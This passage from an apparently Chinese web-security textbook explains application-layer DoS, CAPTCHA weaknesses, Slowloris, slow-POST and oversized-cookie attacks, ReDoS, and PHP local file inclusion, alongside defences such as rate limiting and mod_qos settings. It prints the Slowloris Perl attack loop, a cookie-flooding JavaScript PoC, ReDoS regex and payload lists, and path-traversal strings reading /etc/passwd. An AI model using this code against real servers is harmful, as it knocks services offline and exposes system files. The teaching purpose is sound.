Collapasar（简称CC），意指在黑洞的防御下，仍然能有效完成拒绝服务攻击。CC攻击的原理非常简单，就是对一些消耗资源较大的应用页面不断发起正常的请求，以达到消耗服务端资源的目的。在Web应用中，查询数据库、读/写硬盘文件等操作，相对都会消耗比较多的资源。在百度百科中有一个很典型的例子：应用层常见SQL代码范例如下（以PHP为例）：$sql=\"select * from post where tagid='$tagid' order by postid desc limit $start ,30\";当post表数据庞大，翻页频繁，$start数字急剧增加时，查询影响结果集=$start+30; 该查询效率呈现明显下降趋势，而多并发频繁调用，因查询无法立即完成，资源无法立即释放，会导致数据库请求连接过多，数据库阻塞，网站无法正常打开。在互联网中充斥着各种搜索引擎、信息收集等系统的爬虫（spider），爬虫把小网站直接爬死的情况时有发生，这与应用层DDOS攻击的结果很像。由此看来，应用层DDOS攻击与正常业务的界线比较模糊。应用层DDOS攻击还可以通过以下方式完成：在黑客入侵了一个流量很大的网站后，通过篡改页面，将巨大的用户流量分流到目标网站。比如，在大流量网站siteA上插入一段代码：<iframe src=\"http://target\" height=0 width=0 ></iframe>那么所有访问该页面的siteA用户，都将对此target发起一次HTTP GET请求，这可能直接导致target拒绝服务。应用层DDOS攻击是针对服务器性能的一种攻击，那么许多优化服务器性能的方法，都或多或少地能缓解此种攻击。比如将使用频率高的数据放在memcache中，相对于查询数据库所消耗的资源来说，查询memcache所消耗的资源可以忽略不计。但很多性能优化的方案并非是为了对抗应用层DDOS攻击而设计的，因此攻击者想要找到一个资源消耗大的页面并不困难。比如当memcache查询没有命中时，服务器必然会查询数据库，从而增大服务器资源的消耗，攻击者只需要找到这样的页面即可。同时攻击者除了触发“读”数据操作外，还可以触发“写”数据操作，“写”数据的行为一般都会导致服务器操作数据库。13.2.2 限制请求频率最常见的针对应用层DDOS攻击的防御措施，是在应用中针对每个“客户端”做一个请求频率的限制。比如下面这段代码：class RequestLimit: # add a click to the list statistic def addRequestClick(self, ip_addr, bcookie): blkip = memcache.get('RequestLimitList') # if memcache list does not exist, then create it if (blkip == None): blkip = [{'ip_addr': ip_addr, 'bcookie': bcookie, 'count': 1, 'base_time': datetime.datetime.now(), 'update_time': datetime.datetime.now(), 'status': 'ok'},] memcache.add('RequestLimitList', blkip) else: ip_exists = False for ips in blkip: # found ip if (ips['ip_addr'] == ip_addr): ip_exists = True # check if bcookie is the same if (not bcookie) or (ips.has_key('bcookie') and ips['bcookie'] == bcookie): ips['count'] += 1 ips['update_time'] = datetime.datetime.now() # if update time is 30 seconds later, then reset base time period = ips['update_time'] - ips['base_time'] if ( period.seconds > 30 ) and ( ips['status'] == 'ok' ): ips['base_time'] = ips['update_time'] ips['count'] = 1 break else: # ip is the same, but bcookie is different pass # ip not found if (ip_exists == False): blkip.append({'ip_addr': ip_addr, 'bcookie': bcookie, 'count': 1, 'base_time': datetime.datetime.now(), 'update_time': datetime.datetime.now(), 'status': 'ok'}) memcache.set('RequestLimitList', blkip) return def checkIPInBlacklist(self, ip_addr, bcookie): blkip = memcache.get('RequestLimitList') # flag to check if found a block ip found = False ## step 1: find the ip address in ip list ## step 2: check if request counts reach the limits ## step 3: check if time period is in the limit for ips in blkip: if (ips['ip_addr'] == ip_addr): # find the ip # check if the ip is bannd reqs_time = datetime.datetime.now() - ips['base_time'] if ( ips['status'] == 'banned' ): # if banned time is over, then free the ip if (reqs_time.seconds >= PLANETCONFIG['REQUESTLIMITFREETIME']) : # time to freethe banned ip # reset the ip log ips['count'] = 1 ips['base_time'] = datetime.datetime.now() ips['update_time'] = datetime.datetime.now() ips['status'] = 'ok' memcache.set('RequestLimitList', blkip) else: found = True break if (ips['count'] >= PLANETCONFIG['REQUESTLIMITPERHALFMIN']): # check count limit #print reqs_time.seconds if ( reqs_time.seconds < 30): # check time limit found = True # reset the ip log ips['count'] = 1 ips['base_time'] = datetime.datetime.now() ips['update_time'] = datetime.datetime.now() ips['status'] = 'banned' memcache.set('RequestLimitList', blkip) break return found在使用时：# request limitreqlimit = RequestLimit()# remember checkIPInBlacklist must invoke after addRequestClickreqlimit.addRequestClick(ip, bcookie)if (reqlimit.checkIPInBlacklist(ip, bcookie) == True): self.response.set_status(444, 'request too busy') self.renderTemplate('common/requestlimit.html') return False这段代码就是针对应用层DDOS攻击的一个简单防御。它的思路很简单，通过IP地址与Cookie 定位一个客户端，如果客户端的请求在一定时间内过于频繁，则对之后来自该客户端的所有请求都重定向到一个出错页面。从架构上看，这段代码需要放在业务逻辑之前，才能起到保护后端应用的目的，可以看做是一个“基层”的安全模块。13.2.3 道高一尺，魔高一丈然而这种防御方法并不完美，因为它在客户端的判断依据上并不是永远可靠的。这个方案中有两个因素用以定位一个客户端：一个是IP地址，另一个是Cookie。但用户的IP地址可能会发生改变，而Cookie又可能会被清空，如果IP地址和Cookie同时都发生了变化，那么就无法再定位到同一个客户端了。如何让IP地址发生变化呢？使用“代理服务器”是一个常见的做法。在实际的攻击中，大量使用代理服务器或傀儡机来隐藏攻击者的真实IP地址，已经成为一种成熟的攻击模式。攻击者使用这些方法可不断地变换IP地址，就可以绕过服务器对单个IP地址请求频率的限制了。代理猎手是一个常用的搜索代理服务器的工具。代理猎手使用界面而AccessDiver则已经自动化地实现了这种变换IP地址的攻击，它可以批量导入代理服务器地址，然后通过代理服务器在线暴力破解用户名和密码。AccessDiver使用界面攻击者使用的这些混淆信息的手段，都给对抗应用层DDOS攻击带来了很大的困难。那么到底如何解决这个问题呢？应用层DDOS攻击并非一个无法解决的难题，一般来说，我们可以从以下几个方面着手。首先，应用代码要做好性能优化。合理地使用memcache就是一个很好的优化方案，将数据库的压力尽可能转移到内存中。此外还需要及时地释放资源，比如及时关闭数据库连接，减少空连接等消耗。其次，在网络架构上做好优化。善于利用负载均衡分流，避免用户流量集中在单台服务器上。同时可以充分利用好CDN和镜像站点的分流作用，缓解主站的压力。最后，也是最重要的一点，实现一些对抗手段，比如限制每个IP地址的请求频率。下面我们将更深入地探讨还有哪些方法可以对抗应用层DDOS攻击。\n13.3 验证码的那些事儿验证码是互联网中常用的技术之一，它的英文简称是CAPTCHA（Completely Automated Pub-lic Turing Test to Tell Computers and HumansApart，全自动区分计算机和人类的图灵测试）。在很多时候，如果可以忽略对用户体验的影响，那么引入验证码这一手段能够有效地阻止自动化的重放行为。如下是一个用户提交评论的页面，嵌入验证码能够有效防止资源滥用，因为通常脚本无法自动识别出验证码。用户评论前要输入验证码但验证码也分三六九等，有的验证码容易识别，有的则较难识别。各种各样的验证码CAPTCHA发明的初衷，是为了识别人与机器。但验证码如果设计得过于复杂，那么人也很难辨识出来，所以验证码是一把双刃剑。有验证码，就会有验证码破解技术。除了直接利用图像相关算法识别验证码外，还可以利用Web实现上可能存在的漏洞破解验证码。因为验证码的验证过程，是比对用户提交的明文和服务器端Session里保存的验证码明文是否一致。所以曾经有验证码系统出现过这样的漏洞：因为验证码消耗掉后SessionID未更新，导致使用原有的SessionID可以一直重复提交同一个验证码。POST /vuln_script.php HTTP/1.0Cookie: PHPSESSID=329847239847238947;Content-Length: 49Connection: close;name=bob&email=bob@fish.com&captcha=the_plaintext在SessionID未失效前，可以一直重复发送这个包，而不必担心验证码的问题。形成这个问题的伪代码类似于：if form_submitted and captcha_stored!=\"\" and captcha_sent=captcha_stored thenprocess_form();endif:如果要修补也很简单：if form_submitted and captcha_stored!=\"\" andcaptcha_sent=captcha_stored thencaptcha_stored=\"\";process_form();endif:还有的验证码实现方式，是提前将所有的验证码图片生成好，以哈希过的字符串作为验证码图片的文件名。在使用验证码时，则直接从图片服务器返回已经生成好的验证码，这种设计原本的想法是为了提高性能。但这种一一对应的验证码文件名会存在一个缺陷：攻击者可以事先采用枚举的方式，遍历所有的验证码图片，并建立验证码到明文之间的一一对应关系，从而形成一张“彩虹表”，这也会导致验证码形同虚设。修补的方式是验证码的文件名需要随机化，满足“不可预测性”原则。随着技术的发展，直接通过算法破解验证码的方法也变得越来越成熟。通过一些图像处理技术，可以将验证码逐步变化成可识别的图片。验证码的机器识别过程对此有兴趣的朋友，可以查阅moonblue333所写的“如何识别高级的验证码”。\n13.4 防御应用层DDOS验证码不是万能的，很多时候为了给用户一个最好的体验而不能使用验证码。且验证码不宜使用过于频繁，所以我们还需要有更好的方案。验证码的核心思想是识别人与机器，那么顺着这个思路，在人机识别方面，我们是否还能再做一些事情呢？答案是肯定的。在一般情况下，服务器端应用可以通过判断HTTP头中的User-Agent字段来识别客户端。但从安全性来看这种方法并不可靠，因为HTTP头中的User-Agent是可以被客户端篡改的，所以不能信任。一种比较可靠的方法是让客户端解析一段JavaScript，并给出正确的运行结果。因为大部分的自动化脚本都是直接构造HTTP包完成的，并非在一个浏览器环境中发起的请求。因此一段需要计算的JavaScript，可以判断出客户端到底是不是浏览器。类似的，发送一个flash让客户端解析，也可以起到同样的作用。但需要注意的是，这种方法并不是万能的，有的自动化脚本是内嵌在浏览器中的“内挂”，就无法检测出来了。除了人机识别外，还可以在Web Server这一层做些防御，其好处是请求尚未到达后端的应用程序里，因此可以起到一个保护的作用。在Apache的配置文件中，有一些参数可以缓解DDOS攻击。比如调小Timeout、KeepAlive-Timeout值，增加MaxClients值。但需要注意的是，这些参数的调整可能会影响到正常应用，因此需要视实际情况而定。在Apache的官方文档中对此给出了一些指导——Apache提供的模块接口为我们扩展Apache、设计防御措施提供了可能。目前已经有一些开源的Module全部或部分实现了针对应用层DDOS攻击的保护。“mod_qos”是Apache的一个Module，它可以帮助缓解应用层DDOS攻击。比如mod_qos的下面这些配置就非常有价值。# minimum request rate (bytes/sec at request reading):QS_SrvRequestRate 120# limits the connections for this virtual host:QS_SrvMaxConn 800# allows keep-alive support till the server reaches 600 connections:QS_SrvMaxConnClose 600# allows max 50 connections from a single ip address:QS_SrvMaxConnPerIP 50# disables connection restrictions for certain clients:QS_SrvMaxConnExcludeIP 172.18.3.32QS_SrvMaxConnExcludeIP 192.168.10.mod_qos功能强大，它还有更多的配置，有兴趣的朋友可以通过官方网站获得更多的信息。除了mod_qos外，还有专用于对抗应用层DDOS的mod_evasive也有类似的效果。mod_qos从思路上仍然是限制单个IP地址的访问频率，因此在面对单个IP地址或者IP地址较少的情况下，比较有用。但是前文曾经提到，如果攻击者使用了代理服务器、傀儡机进行攻击，该如何有效地保护网站呢？Yahoo为我们提供了一个解决思路。因为发起应用层DDOS攻击的IP地址都是真实的，所以在实际情况中，攻击者的IP地址其实也不可能无限制增长。假设攻击者有1000个IP地址发起攻击，如果请求了10000次，则平均每个IP地址请求同一页面达到10次，攻击如果持续下去，单个IP地址的请求也将变多，但无论如何变，都是在这1000个IP地址的范围内做轮询。为此Yahoo实现了一套算法，根据IP地址和Cookie等信息，可以计算客户端的请求频率并进行拦截。Yahoo设计的这套系统也是为Web Server开发的一个模块，但在整体架构上会有一台master服务器集中计算所有IP地址的请求频率，并同步策略到每台WebServer上。Yahoo为此申请了一个专利（Detecting sys-tem abuse），因此我们可以查阅此专利的公开信息，以了解更多的详细信息。United States Patent 7,533,414Reed , et al. May 12, 2009Detecting system abuseAbstractA system continually monitors service requests and detects service abuses. First, ascreening list is created to identify potential abuse events. A screening list includesevent IDs and associated count values. A pointer cyclically selects entries in the table,advancing as events are received. An incoming event ID is compared with the event IDs inthe table. If the incoming event ID matches an event ID in the screening list, the associatedcount is incremented. Otherwise, the count of a selected table entry is decremented. Ifthe count value of the selected entry falls to zero, it is replaced with the incoming event.Event IDs can be based on properties of service users, such as user identifications, orof service request contents, such as a search term or message content. The screening listis analyzed to determine whether actual abuse is occurring.Yahoo设计的这套防御体系，经过实践检验，可以有效对抗应用层DDOS攻击和一些类似的资源滥用攻击。但Yahoo并未将其开源，因此对于一些研发能力较强的互联网公司来说，可以根据专利中的描述，实现一套类似的系统。\n13.5 资源耗尽攻击除了CC攻击外，攻击者还可能利用一些WebServer的漏洞或设计缺陷，直接造成拒绝服务。下面看几个典型的例子，并由此分析此类（分布式）拒绝服务攻击的本质。13.5.1 Slowloris攻击Slowloris是在2009年由著名的Web安全专家RSnake提出的一种攻击方法，其原理是以极低的速度往服务器发送HTTP请求。由于WebServer对于并发的连接数都有一定的上限，因此若是恶意地占用住这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。要保持住这个连接，RSnake构造了一个畸形的HTTP请求，准确地说，是一个不完整的HTTP请求。GET / HTTP/1.1\\r\\nHost: host\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\\r\\nContent-Length: 42\\r\\n在正常的HTTP包头中，是以两个CLRF表示HTTP Headers部分结束的。Content-Length: 42\\r\\n\\r\\n由于Web Server只收到了一个\\r\\n，因此将认为HTTP Headers部分没有结束，并保持此连接不释放，继续等待完整的请求。此时客户端再发送任意HTTP头，保持住连接即可。X-a: b\\r\\n当构造多个连接后，服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序，其核心代码如下：sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print \"\\t\\tBuilding sockets.\\n\"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => \"$host\", PeerPort => \"$port\", Timeout => \"$tcpto\", Proto => \"tcp\", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => \"$host\", PeerPort => \"$port\", Timeout => \"$tcpto\", Proto => \"tcp\", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = \"?\" . int( rand(99999999999999) ); } else { $rand = \"\"; } my $primarypayload = \"$method /$rand HTTP/1.1\\r\\n\" . \"Host: $sendhost\\r\\n\" . \"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\\r\\n\" . \"Content-Length: 42\\r\\n\"; my $handle = $sock[$z]; if ($handle) { print $handle \"$primarypayload\"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++;$failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print \"\\t\\tSending data.\\n\"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle \"X-a: b\\r\\n\" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print \"Current stats:\\tSlowloris has now sent $packetcount packets successfully.\\nThisthread now sleeping for $timeout seconds...\\n\\n\"; sleep($timeout); }}sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \\&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; }}这种攻击几乎针对所有的Web Server都是有效的。从这种方式可以看出：此类拒绝服务攻击的本质，实际上是对有限资源的无限制滥用。在Slowloris案例中，“有限”的资源是WebServer的连接数。这是一个有上限的值，比如在Apache中这个值由MaxClients定义。如果恶意客户端可以无限制地将连接数占满，就完成了对有限资源的恶意消耗，导致拒绝服务。在Slowloris发布之前，也曾经有人意识到这个问题，但是Apache官方否认Slowloris的攻击方式是一个漏洞，他们认为这是Web Server的一种特性，通过调整参数能够缓解此类问题，给出的回应是参考文档中调整配置参数的部分。Web Server的消极态度使得这种攻击今天仍然很有效。13.5.2 HTTP POST DOS在2010年的OWASP大会上，Wong OnnChee和Tom Brennan演示了一种类似于Slowloris效果的攻击方法，作者称之为HTTPPOST D.O.S.。其原理是在发送HTTP POST包时，指定一个非常大的Content-Length值，然后以很低的速度发包，比如10～100s发一个字节，保持住这个连接不断开。这样当客户端连接数多了以后，占用住了Web Server的所有可用连接，从而导致DOS。POC如下图所示：成功实施攻击后会留下如下错误日志（Apache）：$tail -f /var/log/apache2/error.log[Mon Nov 22 15:23:17 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 withSuhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g configured — resuming normal operations[Mon Nov 22 15:24:46 2010] [error] server reached MaxClients setting, consider raisingthe MaxClients setting由此可知，这种攻击的本质也是针对Apache的MaxClients限制的。要解决此类问题，可以使用Web应用防火墙，或者一个定制的Web Server安全模块。由以上两个例子我们很自然地联想到，凡是资源有“限制”的地方，都可能发生资源滥用，从而导致拒绝服务，也就是一种“资源耗尽攻击”。出于可用性和物理条件的限制，内存、进程数、存储空间等资源都不可能无限制地增长，因此如果未对不可信任的资源使用者进行配额的限制，就有可能造成拒绝服务。内存泄漏是程序员经常需要解决的一种bug，而在安全领域中，内存泄漏则被认为是一种能够造成拒绝服务攻击的方式。13.5.3 Server Limit DOSCookie也能造成一种拒绝服务，笔者称之为Server Limit DOS，并曾在笔者的博客文章中描述过这种攻击。Web Server对HTTP包头都有长度限制，以Apache举例，默认是8192字节。也就是说，Apache所能接受的最大HTTP包头大小为8192字节（这里指的是Request Header，如果是Re-quest Body，则默认的大小限制是2GB）。如果客户端发送的HTTP包头超过这个大小，服务器就会返回一个4xx错误，提示信息为：Your browser sent a request that this server could not understand.Size of a request header field exceeds server limit.假如攻击者通过XSS攻击，恶意地往客户端写入了一个超长的Cookie，则该客户端在清空Cookie之前，将无法再访问该Cookie所在域的任何页面。这是因为Cookie也是放在HTTP包头里发送的，而Web Server默认会认为这是一个超长的非正常请求，从而导致“客户端”的拒绝服务。比如以下POC代码：<script language=\"javascript\">alert(document.cookie);var metastr = \"AAAAAAAAAA\"; // 10 Avar str = \"\";while (str.length < 4000){ str += metastr;}alert(str.length);document.cookie = \"evil3=\" + \"\\<script\\>alert(xss)\\<\\/script\\>\" +\";expires=Thu,18-Apr-2019 08:37:43 GMT;\";document.cookie = \"evil1=\" + str +\";expires=Thu, 18-Apr-2019 08:37:43 GMT;\";document.cookie = \"evil2=\" + str +\";expires=Thu, 18-Apr-2019 08:37:43 GMT;\";alert(document.cookie);</script>将向客户端写入一个超长的Cookie。要解决此问题，需要调整Apache配置参数LimitRequestFieldSize，这个参数设置为0时，对HTTP包头的大小没有限制。通过以上几种攻击的介绍，我们了解到“拒绝服务攻击”的本质实际上就是一种“资源耗尽攻击”，因此在设计系统时，需要考虑到各种可能出现的场景，避免出现“有限资源”被恶意滥用的情况，这对安全设计提出了更高的要求。\n13.6 一个正则引发的血案：ReDOS正则表达式也能造成拒绝服务？是的，当正则表达式写得不好时，就有可能被恶意输入利用，消耗大量资源，从而造成DOS。这种攻击被称为Re-DOS。与前面提到的资源耗尽攻击略有不同的是，ReDOS是一种代码实现上的缺陷。我们知道正则表达式是基于NFA（Nondeterministic Finite Au-tomaton）的，它是一个状态机，每个状态和输入符号都可能有许多不同的下一个状态。正则解析引擎将遍历所有可能的路径直到最后。由于每个状态都有若干个“下一个状态”，因此决策算法将逐个尝试每个“下一个状态”，直到找到一个匹配的。比如这个正则表达式：^(a+)+$当输入只有4个“a”时：aaaaX其执行过程如下：它只有16条可能的路径，引擎很快能遍历完。但是当输入以下字符串时：aaaaaaaaaaaaaaaaX就变成了65536条可能的路径；此后每增加一个“a”，路径的数量都会翻倍。这极大地增加了正则引擎解析数据时的消耗。当用户恶意构造输入时，这些有缺陷的正则表达式就会消耗大量的系统资源（比如CPU和内存），从而导致整台服务器的性能下降，表现的结果是系统速度很慢，有的进程或服务失去响应，与拒绝服务的后果是一样的。就上面这个正则表达式来说，我们可以进行一项测试，测试代码如下：## retime.py - Python test program for regular expression DoS attacks## This test program measures the execution time of the Python regular expression# matcher to determine if it has problems with regular expression denial-of-service (ReDoS)# attacks. A ReDoS attack becomes possible in applications which use poorly written regular# expressions to validate user inputs. An improperly written regular expression has an# exponential run time when given a non-matching string. Character strings as short as# 30 characters can cause problems.## The following WikiPedia article provides more information about the ReDoS problem:## http://en.wikipedia.org/wiki/Regular_expression_Denial_of_Service_-_ReDoS## This program has been tested with both CPython and IronPython. Versions of the# test program for C#, Java, JavaScript, Perl, and PHP are also available at:## http://www.computerbytesman.com/redos## Author: Richard M. Smith## Please send comments, questions, additions, etc. to info@computerbytesman.com### Test parameters## regex: String containing the regular expression to be tested# maketeststring: A function which generates a test string from a length parameter# maxiter: Maximum number of test iterations to be performed (typical value is50)# maxtime: Maximum execution time in seconds for one iteration before the testprogram# is terminated (typical value is 2 seconds)#regex = r\"^(a+)+$\"maketeststring = lambda n: \"a\" * n + \"!\"maxiter = 50maxtime = 2## Python modules used by this program#import reimport timeimport sys## Main function#def main(): print print \"Python Regular Expression DoS demo\" print \"from http://www.computerbytesman.com/redos\" print print \"Platform: %s %s\" % (sys.platform, sys.version) print \"Regular expression %s\" % (regex) print \"Typical test string: %s\" % (maketeststring(10)) print \"Max. iterations: %d\" % (maxiter) print \"Max. match time: %d sec%s\" % (maxtime, \"s\" if maxtime != 1 else \"\") print cregex = re.compile(regex) for i in xrange(1, maxiter): time = runtest(cregex, i) if time > maxtime: break return## Run one test#def runtest(regex, n): teststr = maketeststring(n) starttime = time.clock() match = regex.match(teststr) elapsetime = int((time.clock() - starttime) * 1000) count = 0 if match != None: count = match.end() - match.start() print \"For n=%d, match time=%d msec%s, match count=%s\" % (n, elapsetime, \"s\" ifelapsetime == 1 else \"\", count) return float(elapsetime) / 1000if __name__ == \"__main__\": main()测试结果如下：Python Regular Expression DoS demofrom http://www.computerbytesman.com/redosPlatform: win32 2.6 (r26:66714, Nov 11 2008, 10:21:19) [MSC v.1500 32 bit(Intel)]Regular expression ^(a+)+$Typical test string: aaaaaaaaaa!Max. iterations: 50Max. match time: 2 secsFor n=1, match time=0 msec, match count=0For n=2, match time=0 msec, match count=0For n=3, match time=0 msec, match count=0For n=4, match time=0 msec, match count=0For n=5, match time=0 msec, match count=0For n=6, match time=0 msec, match count=0For n=7, match time=0 msec, match count=0For n=8, match time=0 msec, match count=0For n=9, match time=0 msec, match count=0#--------------+---------------------------------------------------------------patterns list of malicious RegEx#--------------+---------------------------------------------------------------a++ (a+)+charclass+ ([a-zA-Z]+)*a_or_aa (a|aa)+a_or_a (a|a?)+a_11 (.*a){11}a_65 (.*a){65}Friedl ([^\\\\\"']+)*#--------------- same as above again enclosed in ^and $ ----------------start_a++ ^(a+)+$start_charclass ^([a-zA-Z]+)*$start_a_or_aa ^(a|aa)+$start_a_or_a ^(a|a?)+$start_a_11 ^(.*a){11}$start_a_65 ^(.*a){65}$start_Friedl ^([^\\\\\"']+)*$#---------------OWASP ^[a-zA-Z]+((['\\,\\.\\-][a-zA-Z ])?[a-zA-Z]*)*$DataVault ^\\[(,.*)*\\]$EntLib ^([^\"]+)(?:\\\\([^\"]+))*$Java_Classname ^(([a-z])+.)+[A-Z]([a-z])+$Cox_10 a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaCox_25 a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaaaaaaaaaaaaa#--------------+---------------------------------------------------------------同时，也可以使用以下测试用例验证正则表达式是否存在ReDOS问题。#--------------+---------------------------------------------------------------payloads list of payloads#--------------+---------------------------------------------------------------a_12X aaaaaaaaaaaaXa_18X aaaaaaaaaaaaaaaaaaXa_33X aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXa_49X aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXCox_10 aaaaaaaaaaCox_20 aaaaaaaaaaaaaaaaaaaaCox_25 aaaaaaaaaaaaaaaaaaaaaaaaaCox_34 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaJava_Classname aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!EmailValidation a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!EmailValidatioX a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXinvalid_Unicode (.+)+\\u0001DataVault_DoS [,,,,,,,,,,,,,,,,,,,,,,,,,,,,,EntLib_DoS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"EntLib_DoSX \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"X#--------------+---------------------------------------------------------------虽然正则表达式的解析算法有可能实现得更好一些，但是流行语言为了提供增强型的解析引擎，仍然使用了“na?ve algorithm”，从而使得在很多平台和开发语言内置的正则解析引擎中都存在类似的问题。在今天的互联网中，正则表达式可能存在于任何地方，但只要任何一个环节存在有缺陷的正则表达式，就都有可能导致一次ReDOS。可能使用了正则表达式的地方在检查应用安全时，一定不能忽略ReDOS可能造成的影响。在本节中提到的几种存在缺陷的正则表达式和测试用例，可以加入安全评估的流程中。\n13.7 小结在本章中讲述了应用层拒绝服务攻击的原理和解决方案。应用层拒绝服务攻击是传统的网络拒绝服务攻击的一种延伸，其本质也是对有限资源的无限制滥用所造成的。所以，解决这个问题的核心思路就是限制每个不可信任的资源使用者的配额。在解决应用层拒绝服务攻击时，可以采用验证码，但验证码并不是最好的解决方案。Yahoo的专利为我们提供了更宽广的思路。在本章最后介绍了ReDOS这种比较特殊的拒绝服务攻击，在应用安全中需要注意这个问题。\n第14章 PHP安全PHP是一种非常流行的Web开发语言。在Python、Ruby等语言兴起的今天，PHP仍然是众多开发者所喜爱的选择，在中国尤其如此。PHP的语法过于灵活，这也给安全工作带来了一些困扰。同时PHP也存在很多历史遗留的安全问题。在PHP语言诞生之初，互联网安全问题尚不突出，许多今天已知的安全问题在当时并未显现，因此PHP语言设计上一开始并没有过多地考虑安全。时至今日，PHP遗留下来的历史安全问题依然不少，但PHP的开发者与整个PHP社区也想做出一些改变。PHP语言的安全问题有其自身语言的一些特点，因此本章单独拿出PHP安全进行讨论，也是对本书其他章节的一个补充。\n14.1 文件包含漏洞严格来说，文件包含漏洞是“代码注入”的一种。在“注入攻击”一章中，曾经提到过“代码注入”这种攻击，其原理就是注入一段用户能控制的脚本或代码，并让服务器端执行。“代码注入”的典型代表就是文件包含（File Inclusion）。文件包含可能会出现在JSP、PHP、ASP等语言中，常见的导致文件包含的函数如下。PHP：include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ...JSP/Servlet：ava.io.File(), java.io.Fil-eReader(), ...ASP：include file, include virtual, ...在互联网的安全历史中，PHP的文件包含漏洞已经臭名昭著了，因为黑客们在各种各样的PHP应用中挖出了数不胜数的文件包含漏洞，且后果都非常严重。文件包含是PHP的一种常见用法，主要由4个函数完成：include()require()include_once()require_once()当使用这4个函数包含一个新的文件时，该文件将作为PHP代码执行，PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL，也都将作为PHP代码执行。这一特性，在实施攻击时将非常有用。比如以下代码：<?phpinclude($_GET[test]);?>引入同目录下的一个文件时：测试页面当这个txt文件中包含了可执行的PHP代码时：再执行漏洞URL，发现代码被执行了：phpinfo()函数被执行要想成功利用文件包含漏洞，需要满足下面两个条件：（1）include()等函数通过动态变量的方式引入需要包含的文件； （2）用户能够控制该动态变量。下面我们深入看看文件包含漏洞还可能导致哪些后果。14.1.1 本地文件包含能够打开并包含本地文件的漏洞，被称为本地文件包含漏洞（Local File Inclusion，简称LFI）。比如下面这段代码，就存在LFI漏洞。<?php $file = $_GET['file']; // \"../../etc/passwd\\0\"if (file_exists('/home/wwwrun/'.$file.'.php')) { // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists include '/home/wwwrun/'.$file.'.php'; // the file /etc/passwd will be included}?>用户能够控制参数file，当file的值为“../../etc/passwd”时，PHP将访问/etc/passwd文件。但是在此之前，还需要解决一个小问题：include '/home/wwwrun/'.$file.'.php';这种写法将变量与字符串连接起来，假如用户控制$file的值为“../../etc/passwd”时，这段代码相当于：include '/home/wwwrun/../../etc/passwd.php';被包含文件实际上是“/etc/passwd.php”，但这个文件其实是不存在的。PHP内核是由C语言实现的，因此使用了C语言中的一些字符串处理函数。在连接字符串时，0字节（\\x00）将作为字符串结束符。所以在这个地方，攻击者只要在最后加入一个0字节，就能截断file变量之后的字符串，即：../../etc/passwd\\0通过Web输入时，只需UrlEncode，变成：../../etc/passwd%00字符串截断的技巧，也是文件包含中最常用的技巧。但在一般的Web应用中，0字节用户其实是不需要使用的，因此完全可以禁用0字节，比如：<?phpfunction getVar($name){ $value = isset($_GET[$name]) ? $_GET[$name] : null; if (is_string($value)) { $value = str_replace(\"\\0\", '', $value); 